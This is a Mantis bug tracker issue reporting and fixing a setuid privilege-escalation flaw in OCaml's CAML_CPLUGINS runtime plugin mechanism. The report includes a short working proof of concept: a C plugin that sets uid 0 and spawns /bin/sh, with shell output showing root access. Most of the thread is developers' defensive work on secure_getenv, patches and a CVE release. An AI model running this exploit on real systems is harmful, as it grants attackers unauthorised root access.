Mantis Bug Tracker

View Issue Details Jump to Notes ] Issue History ] Print ]
IDProjectCategoryView StatusDate SubmittedLast Update
0007557OCamlruntime system and C interfacepublic2017-06-15 07:222017-06-24 10:05
Reporteremilliken 
Assigned Todoligez 
PriorityurgentSeveritymajorReproducibilityalways
StatusresolvedResolutionfixed 
PlatformOS*nixOS Version
Product Version4.04.0 
Target Version4.04.2Fixed in Version4.04.2 
Summary0007557: local privilege escalation issue with ocaml binaries
DescriptionI've marked this issue as private.

By default, it seems the environment variables CAML_CPLUGINS, CAML_NATIVE_CPLUGINS, and CAML_BYTE_CPLUGINS can be used to auto-load code into any executable produced with ocamlopt or ocamlc. This can lead to privilege escalation if the binary is marked setuid.
Steps To ReproduceTo demonstrate, as root, do:

# cat > hello.ml << EOF
let _ =
  print_endline "hello, world"
EOF
# ocamlopt -o hello hello.ml
# chmod +s hello

As an unprivileged user, do:

$ cat > exp.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void caml_cplugin_init() {
    printf("IN PLUGIN\n");
    setreuid(0,0);
    execl("/bin/sh", "sh", NULL);
}
EOF
$ gcc -shared -fPIC -o exp.so exp.c
$ id
uid=1002(user) gid=1002(user) groups=1002(user)
$ CAML_CPLUGINS=./exp.so ./hello
IN PLUGIN
# id
uid=0(root) gid=1002(user) egid=0(root) groups=0(root),1002(user)
Additional InformationIt sounds like the fix involves making sure that the effective uid matches the real uid before loading any plugins. Code is in byterun/sys.c
TagsNo tags attached.
Attached Filespatch file icon 0001-make-CPLUGINS-into-a-runtime-variant-plug-compiled-a.patch [^] (7,205 bytes) 2017-06-16 18:19 [Show Content]
patch file icon 0003-replace-getenv-with-secure_getenv-where-appropriate.patch [^] (7,436 bytes) 2017-06-16 18:19 [Show Content]
patch file icon 0002-add-Sys.secure_getenv.patch [^] (4,828 bytes) 2017-06-16 18:47 [Show Content]

- Relationships

-  Notes
(0017882)
lefessan (developer)
2017-06-15 10:01

Another fix would be to use "./configure --no-cplugins" when building OCaml, to completely avoid cplugins when creating setuid executables.

Maybe we could also create a "secure" runtime variant, that would disable cplugins, and maybe other features seen as security weaknesses.
(0017883)
dra (developer)
2017-06-15 10:19

@lefessan - just in case you were planning to, please don't push patches to GitHub at this stage.
(0017884)
dra (developer)
2017-06-15 10:22

@emilliken - thanks for the report, and for your sensitivity in not marking it public. Can I ask whether you've found this as a result of a security review of the code, or as part of a production system?
(0017885)
shinwell (developer)
2017-06-15 10:53

Leo and I looked at this a little and we suspect that checking the real and effective uids is the right solution.

I think I would be in favour of some kind of "secure" runtime variant (but shouldn't that be the default)?
(0017886)
dra (developer)
2017-06-15 10:57

It's certainly surprised me that this undocumented feature was enabled by default - unless you'd seen GPR#668, I'm not clear how you'd know it was there?
(0017887)
xleroy (administrator)
2017-06-15 10:58

This is a serious issue indeed, many thanks for reporting it.

I think the first thing to do is to harden the existing plugin mechanism along the lines suggested by the reporter, i.e. check the effective and real user ids.

Then we should (re-)discuss whether the plugin mechanism should be on by default or off by default with a configure-time flag to activate it.
(0017888)
lpw25 (developer)
2017-06-15 11:07

It might be worth using issetugid on the systems that provide it (I think Solaris, MacOs and the BSDs). It's slightly more robust than the uid == euid check since it will still trigger even if the original program does something like setuid(0).
(0017889)
dra (developer)
2017-06-15 11:10

On the administrative side, I don't think we can avoid OCaml's second CVE: we need to disclose that 4.04.0 and 4.04.1 are vulnerable, and presumably we will need to release this fix as 4.04.2 or at least provide a back-port patch for 4.04.1?
(0017890)
lpw25 (developer)
2017-06-15 11:14
edited on: 2017-06-15 11:16

For reference, here is the code in glibc which effectively guards LD_PRELOAD from similar issues:

 __libc_enable_secure = (__geteuid () != __getuid ()
                || __getegid () != __getgid ());

which is in elf/enbl-secure.c.

(0017891)
avsm (developer)
2017-06-15 11:19

Using issetugid(2) is definitely recommended, when available. While checking current and real uid works to some extent, it doesn't cover the case of existing file handles that are privileged. For instance, is the C plugin code possible to trigger when linking an OCaml program as a library?

The OpenBSD implementation of issetugid is an instance of a non-uid based check; on that operating system it is a taint flag set at exec time. http://man.openbsd.org/OpenBSD-6.1/issetugid.2 [^]
(0017892)
shinwell (developer)
2017-06-15 11:41

@avsm I don't follow what you mean about "existing file handles that are privileged" (presumably in the case where real uid = effective uid). Can you elaborate?
(0017893)
avsm (developer)
2017-06-15 11:52

The get[e]uid calls only return the current state of the system, and so the library cannot determine what happened previously from the calling code with respect to the uids. Therefore, the process may already have file descriptors open that would be considered privileged (i.e. they were opened with root-level access).

To cover this case, some issetugid(2) implementations such as OpenBSD "taint" the process if it was ever made setuid or setgid in any previous execve() system calls. This is not something that is easy to recreate from within a library, and hence it is better to call the function if available.

I believe that glibc/musl libc propagate the libc secure flag that lpw25 posted above, and do not do such taint tracking. Therefore we probably need to analyse what the scope of the C plugin code is -- can it be triggered when OCaml is used as a library, or is it only from within ocamlopt-generated executables before any OCaml code is called?
(0017894)
emilliken (reporter)
2017-06-15 13:16

dra - this was found after ltrace'ing my ocaml binary and tracing back some getenv calls. It was not found as part of a production system.
(0017895)
dra (developer)
2017-06-15 13:27

@emilliken - thanks. It doesn't lessen the seriousness, but it's useful to know that it's not yet been found being exploited!
(0017896)
xleroy (administrator)
2017-06-15 13:49

> I don't follow what you mean about "existing file handles that are privileged" (presumably in the case where real uid = effective uid).

Perhaps something along the lines of:
- suid-as-root program starts
- opens a file descriptor on /etc/shadow
- drops suid privileges (so that effective uid = real uid again)
- loads malicious plugin
- plugin gets access to secrets in /etc/shadow via the file descriptor.
(0017897)
doligez (administrator)
2017-06-15 14:03

It seems obvious to me that we need to do the following:

1. Implement the setuid check, preferably using issetugid when available.
2. While we're at it, use the check to disable CAML_DEBUG_SOCKET, and
   maybe also OCAMLRUNPARAM, and look at the Lafosec documents to see
   if there are any others.
3. Make the plug-in stuff part of a runtime variant. I don't think a
   configure-time configuration is usable in practice.
4. For the default runtime, use the variant without plug-ins.

Of course this must all be done before I can release 4.05.0...


I'd like your opinions on the idea of making a 4.04.2 release.
(0017898)
shinwell (developer)
2017-06-15 14:14

I think this is serious enough that 4.04.2 would be sensible.
(0017899)
avsm (developer)
2017-06-15 14:15

Damien, your proposal makes me significantly more comfortable with the security of the default OCaml runtime on Unix, especially 4). I'd be happy to help test 4.04.2 quickly in OPAM CI once these changes are in.
(0017903)
dra (developer)
2017-06-15 15:54

I agree that it's serious enough for a 4.04.2 release. We're expecting every distribution to want to patch this, so it would seem inconsistent not to have released it for that branch ourselves.
(0017904)
stedolan (developer)
2017-06-15 15:57

As well as CAML_DEBUG_SOCKET and OCAMLRUNPARAM, bytecode's CAMLLIB, OCAMLLIB and CAML_LD_LIBRARY_PATH should get the same treatment. The standard library must also be hardened: it should not be possible to trick a setuid root program into creating files in, say, /etc/init.d by manipulating TMPDIR.

We should use secure_getenv instead of getenv on Linux/glibc systems, which returns NULL when running setuid, as though the env var were absent. It is not secure on Linux to do a simple UID check, because Linux allows "capabilities" to be applied to an executable which grant specific privileges but do not change UID. Several Linux distributions make an effort to install setuid-root programs without the setuid bit set, using capabilities instead.

An example of a portable secure_getenv (using issetugid on *BSD and falling back to euid == uid) appears in GnuTLS:

https://gitlab.com/gnutls/gnutls/blob/master/gl/secure_getenv.c [^]
(0017906)
xleroy (administrator)
2017-06-16 11:34

I support implementing and using secure_getenv as suggested by @stedolan. We can easily make it available from OCaml as Sys.secure_getenv and start using it there too, e.g. in Filename.temp_file.

It seems that all security risks identified in this thread are solved with secure_getenv. Is it the case? Or do we still need a "am I running suid?" runtime function in other places?
(0017907)
doligez (administrator)
2017-06-16 11:42

Correct me if I'm wrong, but if we use `secure_getenv` to implement the `Sys.getenv` primitive, then the standard library (and all user code) is automatically hardened, right?

Should we do that, or is it too much of an incompatibility?

What about the Unix library? Should we also change `Unix.getenv`? Should we add a `secure_getenv` primitive?
(0017908)
xleroy (administrator)
2017-06-16 11:46

If you implement Sys.getenv as secure_getenv, all environment variables read as not defined in a suid program, including innocuous ones such as USER. As much as I like "secure" to be the default, I'm afraid this is going too far.
(0017909)
doligez (administrator)
2017-06-16 18:23
edited on: 2017-06-16 18:24

I have uploaded three commits (against 4.04) that fix the problem:

1. turn the plug-in stuff into a runtime variant; the default runtime doesn't use plug-ins
2. add caml_secure_getenv to the runtime and Sys.secure_getenv to the stdlib
3. use the secure_getenv functions where appropriate

For obvious reasons, I'm not making a GitHub PR.

Lightly tested under OSX.

Please review.

(0017910)
doligez (administrator)
2017-06-16 18:48

Update: found and fixed a bug in the autodetection of secure_getenv (new version of patch 2).
(0017915)
frisch (developer)
2017-06-20 13:49

A few comments:

  - For bug fix releases and 4.05, I'd propose to simply disable the plugin feature altogether.

  - Can someone comment on the extent of the security hole? Recently adding support for runtime plugins is obvious affected, but what about other environment variables interpreted by the runtime system or standard library? It seems that bytecode is more fragile than native because of CAML_LD_LIBRARY_PATH. Except for runtime plugins, is the native system affected at all?

  - I'm really not a big fan of runtime variants. Will we end up building potentially 2^n runtime systems for all combinations of such switches? When possible, I think that a link-time choice should be preferred. We need some plumbing to pass such information to the runtime system, but this should not be too difficult (this was also discussed in the context of https://github.com/ocaml/ocaml/pull/1200 [^]).
(0017916)
lefessan (developer)
2017-06-20 13:58

If secure_getenv fixes the problem for all environment variables, including cplugins, what's the point of disabling the plugin feature ?
(0017917)
xleroy (administrator)
2017-06-20 14:18

I reviewed the 3 patches and also applied them in turn to 4.04 and tested. The patches look good and address the security issue as far as I can tell.

Very minor suggestion: the two getenv("CAMLSIGPIPE") in byterun/ should perhaps be caml_secure_getenv("CAMLSIGPIPE") either. I know it's Win32-specific code, and currently caml_secure_getenv = getenv under Win32, but maybe this will change in the future, in which case we would probably want to ignore CAMLSIGPIPE if we're running in a SUID-style context.
(0017918)
xleroy (administrator)
2017-06-20 14:26
edited on: 2017-06-20 14:31

My modest proposal:
- For 4.04.2, for the sake of minimizing incompatibilities with earlier 4.04 releases, keep CPLUGINS active in the default runtime (no runtime variant; don't apply patch 1) but apply patches 2 and 3, thus fixing the security issue.
- For 4.05 and later, discuss whether we want the CPLUGINS mechanism 1- active in the default runtime, 2- available as a runtime variant, or 3- completely removed from the runtime system because it's not such a great idea after all.

(0017919)
xleroy (administrator)
2017-06-20 14:30

Re "Except for runtime plugins, is the native system affected at all?": possibly via TMPDIR and Filename.open_temp_file, see @stedolan's comment https://caml.inria.fr/mantis/view.php?id=7557#c17904 [^]
(0017920)
avsm (developer)
2017-06-20 14:56

For 4.04.2, patches 2) and 3) would be fine by me, and we could reach out to distributions to let them decide if they want to alter packaging to turn off the feature. This can be done via the CVE process too -- then the security teams can see the justification for a 4.04.2 backport and/or altering the configure script to disable the feature.

For 4.05: I've been looking at how to use the CPLUGINS feature, and cannot find any real-world use cases since it does not extend to any calls outside the runtime. For instance, I/O interception doesn't work with Lwt (or possibly even Unix). It would be very useful to have some way to instrument all external C calls systematically, but that doesn't appear to be possible in the current incarnation of this feature. Are there examples of it actually being used somewhere?
(0017921)
lefessan (developer)
2017-06-20 15:07

> Are there examples of it actually being used somewhere?

A few examples are available here:
https://github.com/OCamlPro/ocp-cplugins [^]

> cannot find any real-world use cases since it does not extend to any calls outside the runtime.

This is a chicken and egg problem: since there are almost no hooks in the runtime, very few things are currently possible. For me, the solution is not to get rid of cplugins, but to add more hooks (in your case in Lwt and Unix stubs) that could be used by CPLUGINS.

Also, there are already a few hooks in the GC : cplugins could already be used to implement a lightweight memory profiler (note the former OCamlPro's memprof, which is too invasive, but probably something closer to what LexiFi already uses).
(0017922)
frisch (developer)
2017-06-20 15:08

> If secure_getenv fixes the problem for all environment variables, including cplugins, what's the point of disabling the plugin feature ?

Mostly minimizing the diff, and so reducing the risk of side regressions. Also, it's not clear to me if secure_getenv fixes the problem for all affected architectures. Is it available on all Unices? Has Windows something similar to the setuid bit?
(0017923)
dra (developer)
2017-06-20 15:25

As far as I'm aware, Windows has no equivalent to suid behaviour (things like scheduled tasks which run as other users have to store credentials in a supposedly secure way in order to do so)
(0017924)
doligez (administrator)
2017-06-20 15:42

- I'm going to release 4.04.2 with Xavier's proposal (patches 2 and 3 only, and CAMLSIGPIPE).

- If you want to discuss what to do in 4.05, do it quickly because this is the last thing that blocks the release.

- How does the CVE process work, and who is going to take care of it?

- @alainfrisch: Yes I'm a bit worried about the combinatory explosion too, but many combinations don't make sense. For example, I can't see a use for the instrumented runtime in a setuid program. I agree that a link-time choice mechanism is a good idea, though.
(0017925)
avsm (developer)
2017-06-20 22:18

doligez: > How does the CVE process work, and who is going to take care of it?

I have requested a CVE number (which reserves it for us) and then we need to draft an advisory. I'll do this tomorrow morning and circulate it. Once we have agreed on its content, we just need to mail it out to various mailing lists to make people aware. I'll confirm the CVE number once it has been assigned.

lefessan: > This is a chicken and egg problem: since there are almost no hooks in the runtime, very few things are currently possible. For me, the solution is not to get rid of cplugins, but to add more hooks (in your case in Lwt and Unix stubs) that could be used by CPLUGINS.

Thanks for the pointer to the existing plugins. At a minimum, as the feature is being iterated on over multiple versions of the compiler., I think it should be disabled by default. Distributions and (e.g.) opam switches are both able to turn it on. It would be good to see a concrete example of (e.g.) I/O virtualisation as a proof of concept using just Unix, and then it will be more apparent how to apply it to other projects such as Lwt. I'm still not sure why this level of complexity is needed instead of having some mechanism to intercept all %external calls from the runtime, in a style similar to eBPF or dtrace.
(0017926)
lefessan (developer)
2017-06-20 22:34

avsm: > I'm still not sure why this level of complexity is needed instead of having some mechanism to intercept all %external calls from the runtime, in a style similar to eBPF or dtrace.

cplugins include two different things: (1) the ability to dynlink C code and (2) some hooks to virtualize some syscalls. (1) is useful on its own, independently of (2), for example for memory or performance profiling. There may be other ways to do (2), and I think indeed that another generic mechanism to intercept externals would be very interesting, but would probably be too expensive in terms of performance. In the cplugin implementation of (2), only some syscalls, which are already expensive, are intercepted, which I think is acceptable from a performance point of view.
(0017927)
avsm (developer)
2017-06-20 22:48

I think separating out the two features would make maintenance significantly easier. The ability to dynlink C code opens up some clear attack vectors and so requires much more security review.

As for the second feature, there is still some confusion about terminology: syscalls are invocations into the kernel, whereas %external invocations are between the OCaml and C boundary. There is something of a syscall interception spring going on at the moment in Linux and the BSDs, with tools like perf, dtrace and ebpf all providing high performance dynamic instrumentation (and in ebpf's case, some rewriting support). So I think the hypothesis that a generic solution would be too expensive deserves some analysis to ensure that it is still true on modern systems.

Then there is the possibility of making %external interception a static option instead of dynamic instrumentation, so that a custom supplied module could decide synchronously what to do with the call.

Whichever option is chosen, it's clear that some work is needed on 2) before it is ready for external projects to adopt it. It is much less risky to enable this aspect by default in the runtime than 1), but unfortunately it is also currently tightly coupled with 1), and there is very little time for a comprehensive security audit before 4.05 is released. Hence my recommendation to disable this feature by default in 4.05.
(0017928)
emilliken (reporter)
2017-06-21 02:13

I've tested patches 2 and 3 on Linux. They block the original exploit and I didn't see any ways to get around the new checks. Thanks!
(0017929)
stedolan (developer)
2017-06-21 13:34

> If you implement Sys.getenv as secure_getenv, all environment variables read as not defined in a suid program, including innocuous ones such as USER. As much as I like "secure" to be the default, I'm afraid this is going too far.

In fact, reading USER in a suid program is generally a security hole, since the value can be modified to impersonate another user. Suid programs should instead use Unix.getuid() to determine the current user. Similarly, suid programs should not read HOME (to avoid being tricked into writing preference files into /etc/init.d), and should instead use Unix.getpwuid.

So, I suggest making Sys.getenv be secure_getenv, but also providing Sys.getenv_untrusted (implemented as getenv is currently).

This change only affects people writing suid programs, and it seems better that such programs have to jump through some hoops to read untrusted environment variables than to introduce subtle security holes. The failures caused by suid programs ignoring environment variables by default will be easier to find and debug than the security holes cause otherwise.
(0017930)
emilliken (reporter)
2017-06-21 15:32

Also, I noticed there is both Sys.getenv and Unix.getenv. Maybe whatever API additions are made in Sys should be mirrored to Unix?
(0017931)
doligez (administrator)
2017-06-21 15:54

> Also, I noticed there is both Sys.getenv and Unix.getenv. Maybe whatever API additions are made in Sys should be mirrored to Unix?

I noticed that, of course. Because Unix is a very thin layer over the syscalls, and the secure_getenv function is always available from Sys, I decided to leave the Unix one untouched. I'll add a pointer to Sys.secure_getenv in the doc comment for Unix.getenv.

If we follow @stedolan's advice and make the secure getenv the default, I think we'll provide the two functions in Unix as well as Sys.
(0017933)
dra (developer)
2017-06-21 16:44

I agree with @stedolan's reasoning - either as Sys.getenv_untrusted or even, as with bounds checking functions elsewhere, Sys.unsafe_getenv?

Following an offline conversation, and in keeping with the idea that Unix is a thin wrapper over syscalls, it would seem that Unix should have different functions - so Unix.getenv being equivalent to Sys.getenv_untrusted/Sys.unsafe_getenv and Unix.secure_getenv being equivalent to the new Sys.getenv. It depends whether we regard having the names in Unix corresponding to the actual name of the syscall as being more important than trying to catch out a badly-coded setuid program.
(0017934)
dra (developer)
2017-06-21 16:58

Forgive the slight "patch colour" aspect of this, but on the subject of the combinatorial explosion of runtimes (also thinking of GPR#1200) I think we should stick to single letter suffices (ignoring the slight irritation of _pic). That way, each particular runtime "idea" has a given letter, and we can define an ordering for them. This way, for CI and standard installation, we can ignore combinations we don't care about, but if someone wants to build a debug c-plugins runtime, then the build system could be set to build ocamlrundc, etc.

The machinery for doing that is irrelevant for this patch, other than to change "plug" to, say, "c".
(0017940)
doligez (administrator)
2017-06-22 17:41

I don't think it's a good idea to have Unix.getenv and Sys.getenv be different functions. In this case, I'd say security-by-default is more important than keeping the syscall's name.
(0017951)
doligez (administrator)
2017-06-23 11:00

I've discussed with Xavier, and here is the new plan for getenv:

Sys.getenv -> secure version

Unix.getenv -> secure version
Unix.unsafe_getenv -> raw version

This will be applied to 4.04.2, 4.05, and trunk. If you don't agree with this plan, speak up now.

We still need to discuss the fate of c-plugins.
(0017953)
shinwell (developer)
2017-06-23 12:00

Sorry to have been absent from this discussion, I've been ill all week.

The "new plan for getenv" sounds fine for me.
As regards c-plugins, I agree with Anil.
(0017954)
frisch (developer)
2017-06-23 12:05

I won't fight for it, but my feeling is that we should aim for a minimal fix for 4.04.2, and switch to using secure_getenv for later versions. Considering that we are in feature freeze for 4.05 since February (if I recall correctly), I'd say this should go in 4.06.

There could be valid cases for passing information through environment variables even in "secure execution" mode as defined in https://linux.die.net/man/3/secure_getenv. [^] Simply switching getenv to the secure version would thus break valid programs, and this does not seem good for 4.04.2.

The most critical problem is with CPLUGINS. Disabling them by default for 4.04.2 (with the ability to enable them as a configure-time) or using secure_getenv specifically for supporting them in the runtime system would fix the issue as well. There is also a problem with TMPDIR, but it has been around forever and seems much less critical: typically, programs would create temporary files through Unix.open_temp_file, which would not overwrite an existing file.
(0017955)
dra (developer)
2017-06-23 12:08

My comment on caml-devel was the wrong way round - my suggestion would be to maintain the same interface for Unix in 4.04.2, so don't add Unix.unsafe_getenv but do add the C primitive for it (so anyone who must use 4.04.2 can use it manually)

Alternatively, as Alain suggests, we could add the secure primitive to 4.04.2 and 4.05, not expose it in Sys or Unix but use it internally as for your original patch.
(0017957)
doligez (administrator)
2017-06-23 13:49

@frisch, given the way the CVE are written, I'd argue the minimal fix is the switch to secure_getenv. For the valid programs that this will break, they are rather hypothetical: they must be both setuid and written carefully enough not to have the vulnerability.

@dra good catch, I'll put the declaration of Unix.unsafe_getenv in a comment to keep the interface unchanged while somewhat documenting the new primitive.
(0017958)
lefessan (developer)
2017-06-23 13:58

About c-plugins, one of the original reasons for them is to get rid of code that should probably not be all the time in the runtime. For example, as a proof of concept, I implemented a c-plugin for Spacetime a while ago, that provides several benefits:
1) the code of the Spacetime runtime (2Klines of the 20Klines of asmrun/) would be outside of the distribution, it can be updated/improved without being in the coreteam, as an outside project;
2) other memory profilers can use the same hooks in the GC, so that the runtime is not tied to a specific profiler.

Once the current security issue is solved by secure_getenv, could somebody explain the problem with c-plugins, except the traditionnal "I don't use it, so it shouldn't be there" ?
(0017959)
avsm (developer)
2017-06-23 14:04

@doligez @dra27 - good point regarding the interface, as quite a few packages in OPAM reexport the Unix signature and could break with a new function addition.

@lefessan I asked several questions in the above thread which haven't been answered yet (0017927), so I'm not inclined to re-ask them until addressed. This bug is specifically about the security issue, so perhaps it is better to start a different one about the future of c-plugins on a fresh issue.
(0017960)
frisch (developer)
2017-06-23 14:11

> For the valid programs that this will break, they are rather hypothetical: they must be both setuid and written carefully enough not to have the vulnerability.

No, being setuid (or any other case of requiring "secure execution") and relying on environment variables is enough to be broken. (i) A setuid program with the vulnerability does not necessarily lead to an actual attack vector; and (ii) using environment variables in a setuid program is not necessarily unsafe (it depends on what you do with them).
(0017961)
doligez (administrator)
2017-06-23 14:42

@frisch
> using environment variables in a setuid program is not necessarily unsafe (it depends on what you do with them)

Yes but we often get surprised by the creativity of attackers.

Anyway, do we have any actual example of a setuid program written in OCaml? I'd rather be more secure and risk breaking them (if they exist).

@lefessan, @avsm
Please do open a new PR to discuss the future of c-plugins.
(0017963)
lefessan (developer)
2017-06-23 16:07

@avsm Each solution comes with a different trade-off: ease-of-use vs performance vs portability, etc. If you are looking for portability and ease-of-use, the c-plugin mechanism is probably the best currently available for OCaml (from my experience of playing with `perf` and `LD_PRELOAD` in the past).
(0017964)
stedolan (developer)
2017-06-23 16:27

@frish
> There is also a problem with TMPDIR, but it has been around forever and seems much less critical: typically, programs would create temporary files through Unix.open_temp_file, which would not overwrite an existing file.

No, the security hole with TMPDIR is critical. The issue is not the ability to overwrite an existing file (as you say, open_temp_file will not do this). The issue is that there are several directories on most Unix systems whose contents are habitually executed by root (among many others /etc/init.d, /etc/cron.d, /etc/bash_completion.d). If an attacker can create a file in such directories, of any filename but with attacker-controlled contents, then the attacker can execute arbitrary code as root.
(0017965)
frisch (developer)
2017-06-23 16:36

@stedolan Good point. There is still a difference between the security hole created by CPLUGINS against which the author of the program cannot do anything, and the one related to TMPDIR, for which the author can (and should anyway) explicitly choose the directory (through Filename.set_temp_dir_name or ~temp_dir) if the programs needs to create temporary files.
(0017967)
doligez (administrator)
2017-06-23 17:19

This PR is now public
(0017968)
doligez (administrator)
2017-06-23 18:03

Fixed in 4.04.2, cherry-picked to 4.05.0 and trunk.
Trunk version adds Unix.unsafe_getenv; 4.04 and 4.05 don't.
(0017970)
stedolan (developer)
2017-06-23 19:56

@frisch

I agree. The TMPDIR hole makes it difficult to write a secure suid program that uses Filename.open_temp_file, while the CPLUGINS hole makes it impossible to write a secure suid program at all.
(0017972)
gasche (developer)
2017-06-23 21:27

Do you think that it would be possible to put some process in place that would help avoid similar issues in the future, without having too much of a bureaucracy cost?

The only simple thing that I can see right now is: make it an habit that any change that impacts the runtime system has someone thinking about security considerations before the merge decision. That is, *not* merge until someone explicitly wrote a comment on the PR to the effect of "I reviewed the security implication of the patch and I believe it is safe".

("impacts the runtime system" is a rather broad category. Is is broad enough? Is it too broad? I don't see an effective and simple criterion that would be better.)

(I could try to enforce this in a semi-automated way by asking the person that ticks the "security impact considered" box to add a github label, but my previous adventure with the no-changes-required label suggests that this is fragile in ways I don't completely understand. I would be interested in hearing people's thoughts about the adequate process, rather than how to automate it, first.)
(0017975)
xleroy (administrator)
2017-06-24 10:05

Let's keep this PR focused on the technical issue that is described in the CVE. Meta-discussions on how to prevent similar blunders in the future should take place elsewhere, e.g. on the Caml developers list.

- Issue History
Date Modified Username Field Change
2017-06-15 07:22 emilliken New Issue
2017-06-15 10:01 lefessan Note Added: 0017882
2017-06-15 10:04 lefessan Assigned To => lefessan
2017-06-15 10:04 lefessan Status new => acknowledged
2017-06-15 10:19 dra Note Added: 0017883
2017-06-15 10:21 dra Priority high => urgent
2017-06-15 10:21 dra Severity minor => major
2017-06-15 10:21 dra OS => *nix
2017-06-15 10:21 dra Product Version 4.04.1 => 4.04.0
2017-06-15 10:22 dra Note Added: 0017884
2017-06-15 10:53 shinwell Note Added: 0017885
2017-06-15 10:57 dra Note Added: 0017886
2017-06-15 10:58 xleroy Note Added: 0017887
2017-06-15 11:07 lpw25 Note Added: 0017888
2017-06-15 11:10 dra Note Added: 0017889
2017-06-15 11:14 lpw25 Note Added: 0017890
2017-06-15 11:16 lpw25 Note Edited: 0017890 View Revisions
2017-06-15 11:19 avsm Note Added: 0017891
2017-06-15 11:41 shinwell Note Added: 0017892
2017-06-15 11:52 avsm Note Added: 0017893
2017-06-15 13:16 emilliken Note Added: 0017894
2017-06-15 13:27 dra Note Added: 0017895
2017-06-15 13:49 xleroy Note Added: 0017896
2017-06-15 14:03 doligez Note Added: 0017897
2017-06-15 14:03 doligez Target Version => 4.05.0 +dev/beta1/beta2/beta3/rc1
2017-06-15 14:14 shinwell Note Added: 0017898
2017-06-15 14:15 avsm Note Added: 0017899
2017-06-15 15:54 dra Note Added: 0017903
2017-06-15 15:57 stedolan Note Added: 0017904
2017-06-16 11:09 doligez Assigned To lefessan => doligez
2017-06-16 11:09 doligez Status acknowledged => assigned
2017-06-16 11:34 xleroy Note Added: 0017906
2017-06-16 11:42 doligez Note Added: 0017907
2017-06-16 11:46 xleroy Note Added: 0017908
2017-06-16 18:19 doligez File Added: 0001-make-CPLUGINS-into-a-runtime-variant-plug-compiled-a.patch
2017-06-16 18:19 doligez File Added: 0002-add-Sys.secure_getenv.patch
2017-06-16 18:19 doligez File Added: 0003-replace-getenv-with-secure_getenv-where-appropriate.patch
2017-06-16 18:23 doligez Note Added: 0017909
2017-06-16 18:24 doligez Note Edited: 0017909 View Revisions
2017-06-16 18:47 doligez File Deleted: 0002-add-Sys.secure_getenv.patch
2017-06-16 18:47 doligez File Added: 0002-add-Sys.secure_getenv.patch
2017-06-16 18:48 doligez Note Added: 0017910
2017-06-20 13:49 frisch Note Added: 0017915
2017-06-20 13:58 lefessan Note Added: 0017916
2017-06-20 14:18 xleroy Note Added: 0017917
2017-06-20 14:26 xleroy Note Added: 0017918
2017-06-20 14:30 xleroy Note Added: 0017919
2017-06-20 14:31 xleroy Note Edited: 0017918 View Revisions
2017-06-20 14:56 avsm Note Added: 0017920
2017-06-20 15:07 lefessan Note Added: 0017921
2017-06-20 15:08 frisch Note Added: 0017922
2017-06-20 15:25 dra Note Added: 0017923
2017-06-20 15:42 doligez Note Added: 0017924
2017-06-20 22:18 avsm Note Added: 0017925
2017-06-20 22:34 lefessan Note Added: 0017926
2017-06-20 22:48 avsm Note Added: 0017927
2017-06-21 02:13 emilliken Note Added: 0017928
2017-06-21 13:34 stedolan Note Added: 0017929
2017-06-21 15:32 emilliken Note Added: 0017930
2017-06-21 15:54 doligez Note Added: 0017931
2017-06-21 16:44 dra Note Added: 0017933
2017-06-21 16:58 dra Note Added: 0017934
2017-06-22 17:41 doligez Note Added: 0017940
2017-06-23 11:00 doligez Note Added: 0017951
2017-06-23 12:00 shinwell Note Added: 0017953
2017-06-23 12:05 frisch Note Added: 0017954
2017-06-23 12:08 dra Note Added: 0017955
2017-06-23 13:49 doligez Note Added: 0017957
2017-06-23 13:58 lefessan Note Added: 0017958
2017-06-23 14:04 avsm Note Added: 0017959
2017-06-23 14:11 frisch Note Added: 0017960
2017-06-23 14:42 doligez Note Added: 0017961
2017-06-23 15:12 doligez Target Version 4.05.0 +dev/beta1/beta2/beta3/rc1 => 4.04.2
2017-06-23 16:07 lefessan Note Added: 0017963
2017-06-23 16:27 stedolan Note Added: 0017964
2017-06-23 16:36 frisch Note Added: 0017965
2017-06-23 17:19 doligez Note Added: 0017967
2017-06-23 17:19 doligez Status assigned => resolved
2017-06-23 17:19 doligez Resolution open => fixed
2017-06-23 17:19 doligez Fixed in Version => 4.04.2
2017-06-23 17:19 doligez View Status private => public
2017-06-23 18:03 doligez Note Added: 0017968
2017-06-23 19:56 stedolan Note Added: 0017970
2017-06-23 21:27 gasche Note Added: 0017972
2017-06-24 10:05 xleroy Note Added: 0017975


Copyright © 2000 - 2011 MantisBT Group
Powered by Mantis Bugtracker